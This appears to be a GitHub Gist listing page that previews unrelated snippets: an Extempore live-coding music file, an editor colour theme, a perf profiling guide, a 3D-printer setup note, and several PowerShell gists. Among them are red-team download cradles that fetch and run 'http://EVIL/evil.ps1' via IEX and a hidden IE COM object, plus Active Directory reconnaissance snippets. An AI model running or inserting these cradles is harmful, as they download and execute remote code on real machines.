Skip to content

Instantly share code, notes, and snippets.

@CircuV
CircuV / as_oscon_2.xtm
Last active November 22, 2026 21:28
Transscript of live performance in extempore from Andrew Sorensen at OSCON 2014 Keynote: "The Concert Programmer"
;;; as_oscon_2.xtm -- live performance
;; by Andrew Sorensen OSCON 2014 Keynote: "The Concert Programmer"
;; Author: cv
;; Keywords: extempore
;;; Commentary:
;;; Code:
;; First, load the library where the sampler infrastructure is
;;; as_part_midi.xtm -- live performance
;; based on Andrew Sorensen "A Study in Pärt" Impromptu performance
;; A study in simplicity - a study in Pärt.
;; Based on Arvo Pärt 'Cantus in Memory of Benjamin Britten'
;; https://vimeo.com/2434054
;;
;; Orginal code translated to Extempore
;; http://extempore.moso.com.au
;;
;; Author: cv
;; cv_part_fratres_midi.xtm --
;;
;; Author: cv
;; Keywords: extempore
;;; Commentary: Live-coding Arvo Pärt's Fratres (strings and percussion version)
;; Midi Version controlling NI Kontakt Sampler (Factory Library)
;; Channels:
;; Upper voice (1 : Violin Ensemble)
;; Bottom voice (2 : Cello Ensemble)
@toksdotdev
toksdotdev / skyline-classic.json
Last active November 22, 2026 21:05
Skyline Classic for T3 Code — dark and light themes with New York and Balloon Valley backgrounds
{
"version": 1,
"name": "Skyline Classic",
"appearance": "dark",
"canvas": "#151515",
"accent": "#a78bfa",
"colors": {
"canvas": "#151515",
"chrome": "#0a0a0a",
"toolbar": "#151515",
@MangaD
MangaD / perf.md
Created February 27, 2025 06:31
Comprehensive Guide to Using `perf` for C++ Applications

📌 Comprehensive Guide to Using perf for C++ Applications

CC0

Disclaimer: ChatGPT generated document.

Linux’s perf is a powerful profiling tool that helps analyze CPU usage, cache misses, function call costs, branch mispredictions, and more in C++ applications. This guide will cover:

✅ Installing and setting up perf ✅ Basic and advanced profiling commands

@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active November 22, 2026 20:50
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@HarmJ0y
HarmJ0y / PowerView-3.0-tricks.ps1
Last active November 22, 2026 20:49
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set
@HarmJ0y
HarmJ0y / dc_cert_template.ps1
Created September 13, 2021 21:43
DC Certificate Template Enumeration
$Results = ([adsisearcher]"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))").FindAll() | % {
$Entry = $_.GetDirectoryEntry()
$SAM = $Entry.samAccountName[0]
$DN = $Entry.distinguishedName[0]
try {
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($Entry.userCertificate)
$Exp = $Cert.GetExpirationDateString()
@HarmJ0y
HarmJ0y / CIPolicyParser.ps1
Created July 12, 2022 21:36
Functions to recover information from binary Windows Defender Application Control (WDAC) Code Integrity policies.
# Ensure System.Security assembly is loaded.
Add-Type -AssemblyName System.Security
function ConvertTo-CIPolicy {
<#
.SYNOPSIS
Converts a binary file that contains a Code Integrity policy into XML format.
Author: Matthew Graeber (@mattifestation)
@fredrikasberg
fredrikasberg / btt canbus setup.md
Last active November 22, 2026 20:22
BTT Manta M8P v1.1 + BTT EBB 2209 Canbus setup